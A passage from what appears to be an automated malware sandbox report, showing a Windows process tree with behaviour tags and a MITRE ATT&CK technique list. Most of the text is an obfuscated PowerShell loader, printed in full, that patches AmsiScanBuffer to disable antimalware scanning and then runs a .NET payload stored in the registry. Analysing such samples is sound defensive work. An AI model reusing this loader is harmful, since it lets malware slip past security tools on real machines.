'd'+[Char](108)+''+[Char](108)+'');$HrtDihLRkzHBWHadq=$VyOHfQbWSDTuzW.Invoke($Null,@([Object]$NWGJFmK,[Object](''+[Char](65)+''+'m'+''+[Char](115)+''+'i'+''+[Char](83)+''+[Char](99)+''+[Char](97)+''+[Char](110)+''+'B'+'u'+[Char](102)+''+[Char](102)+''+'e'+''+[Char](114)+'')));$gAnrZJYHEH=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kEomhxjwCkGddfxyi,$mwHLRAYvHxVXblpBBIdYcZ).Invoke($HrtDihLRkzHBWHadq,[uint32]8,4,[ref]$gAnrZJYHEH);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](206-69),[Byte](56+145),[Byte](150+34),[Byte](124-37),[Byte](198-198),[Byte](80-73),[Byte](125+3),[Byte](85+52),[Byte](135+57),[Byte](93+102),[Byte](105+32),[Byte](10+182)),0,$HrtDihLRkzHBWHadq,120-108);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kEomhxjwCkGddfxyi,$mwHLRAYvHxVXblpBBIdYcZ).Invoke($HrtDihLRkzHBWHadq,[uint32]8,0x20,[ref]$gAnrZJYHEH);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+'TWA'+[Char](82)+'E').GetValue(''+'$'+''+'S'+''+[Char](72)+'s'+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"""
1⤵
- Executes a command shell one-liner
- System Time Discovery
- Suspicious use of WriteProcessMemory
PID:4796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command ""function Local:GCywWjwakKLE{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$HVLzvPhDHHQJLG,[Parameter(Position=1)][Type]$VjBbxdOpJn)$JeXWOTOqKFI=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+'f'+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+'g'+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InM'+'e'+''+'m'+''+[Char](111)+''+'r'+''+'y'+''+[Char](77)+'od'+[Char](117)+'l'+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+'Del'+[Char](101)+'g'+[Char](97)+'t'+[Char](101)+''+[Char](84)+''+'y'+''+[Char](112)+'e',''+[Char](67)+''+'l'+''+[Char](97)+'s'+'s'+','+'P'+''+[Char](117)+''+'b'+''+[Char](108)+'i'+[Char](99)+',S'+'e'+''+[Char](97)+'le'+[Char](100)+''+[Char](44)+''+[Char](65)+'nsi'+'C'+''+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+','+''+[Char](65)+''+'u'+''+'t'+''+[Char](111)+''+'C'+'l'+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$JeXWOTOqKFI.DefineConstructor(''+[Char](82)+'T'+[Char](83)+''+[Char](112)+'e'+'c'+''+'i'+''+[Char](97)+''+[Char](108)+'N'+[Char](97)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+''+'e'+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g'+','+''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$HVLzvPhDHHQJLG).SetImplementationFlags('R'+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+'m'+'e'+''+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+'g'+'ed');$JeXWOTOqKFI.DefineMethod('I'+[Char](110)+''+[Char](118)+''+[Char](111)+''+'k'+'e',''+'P'+''+[Char](117)+'b'+[Char](108)+''+'i'+''+'c'+''+','+''+'H'+''+'i'+''+[Char](100)+''+'e'+'By'+'S'+'ig,'+'N'+''+'e'+''+[Char](119)+''+[Char](83)+''+'l'+'o'+[Char](116)+''+[Char](44)+''+'V'+''+'i'+'rt'+[Char](117)+''+[Char](97)+''+[Char](108)+'',$VjBbxdOpJn,$HVLzvPhDHHQJLG).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+''+'m'+''+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $JeXWOTOqKFI.CreateType();}$XLFspXTtVIAHH=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+'s'+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+'ros'+'o'+''+[Char](102)+''+[Char](116)+''+'.'+''+'W'+''+[Char](105)+''+'n'+''+'3'+'2'+'.'+''+[Char](85)+''+'n'+''+[Char](115)+''+'a'+'f'+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+'i'+'v'+'e'+''+[Char](77)+'e'+[Char](116)+''+'h'+''+[Char](111)+'d'+[Char](115)+'');$VyOHfQbWSDTuzW=$XLFspXTtVIAHH.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+'P'+'r'+''+[Char](111)+''+'c'+''+'A'+''+'d'+''+[Char](100)+'r'+'e'+''+[Char](115)+'s',[Reflection.BindingFlags]('P'+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+[Char](83)+'t'+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$thqIlubiSbOYBukDyPJ=GCywWjwakKLE @([String])([IntPtr]);$mwHLRAYvHxVXblpBBIdYcZ=GCywWjwakKLE @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$gIyOYgdwmTJ=$XLFspXTtVIAHH.GetMethod(''+'G'+'e'+[Char](116)+''+[Char](77)+'o'+[Char](100)+'u'+[Char](108)+''+[Char](101)+''+'H'+''+[Char](97)+'ndl'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+'r'+'n'+''+[Char](101)+'l'+[Char](51)+'2'+'.'+''+'d'+''+[Char](108)+''+'l'+'')));$RFardoANiiJagb=$VyOHfQbWSDTuzW.Invoke($Null,@([Object]$gIyOYgdwmTJ,[Object](''+[Char](76)+''+[Char](111)+''+'a'+'dL'+'i'+''+'b'+''+'r'+''+'a'+'r'+[Char](121)+''+[Char](65)+'')));$kEomhxjwCkGddfxyi=$VyOHfQbWSDTuzW.Invoke($Null,@([Object]$gIyOYgdwmTJ,[Object](''+[Char](86)+''+[Char](105)+''+'r'+''+'t'+''+'u'+''+'a'+''+'l'+''+[Char](80)+''+[Char](114)+''+[Char](111)+'t'+'e'+''+[Char](99)+''+[Char](116)+'')));$NWGJFmK=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RFardoANiiJagb,$thqIlubiSbOYBukDyPJ).Invoke(''+'a'+'m'+[Char](115)+''+[Char](105)+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'');$HrtDihLRkzHBWHadq=$VyOHfQbWSDTuzW.Invoke($Null,@([Object]$NWGJFmK,[Object](''+[Char](65)+''+'m'+''+[Char](115)+''+'i'+''+[Char](83)+''+[Char](99)+''+[Char](97)+''+[Char](110)+''+'B'+'u'+[Char](102)+''+[Char](102)+''+'e'+''+[Char](114)+'')));$gAnrZJYHEH=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kEomhxjwCkGddfxyi,$mwHLRAYvHxVXblpBBIdYcZ).Invoke($HrtDihLRkzHBWHadq,[uint32]8,4,[ref]$gAnrZJYHEH);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](206-69),[Byte](56+145),[Byte](150+34),[Byte](124-37),[Byte](198-198),[Byte](80-73),[Byte](125+3),[Byte](85+52),[Byte](135+57),[Byte](93+102),[Byte](105+32),[Byte](10+182)),0,$HrtDihLRkzHBWHadq,120-108);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kEomhxjwCkGddfxyi,$mwHLRAYvHxVXblpBBIdYcZ).Invoke($HrtDihLRkzHBWHadq,[uint32]8,0x20,[ref]$gAnrZJYHEH);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+'TWA'+[Char](82)+'E').GetValue(''+'$'+''+'S'+''+[Char](72)+'s'+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:1780

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:4092

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Suspicious use of SetWindowsHookEx
PID:1876

C:\Windows\system32\UsoClient.exe
C:\Windows\system32\usoclient.exe
1⤵
PID:1652

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:4160

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Process Injection

T1055

Process Hollowing

T1055.012

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Modify Registry

T1112

Process Injection

T1055

Process Hollowing

T1055.012

Virtualization/Sandbox Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Virtualization/Sandbox Evasion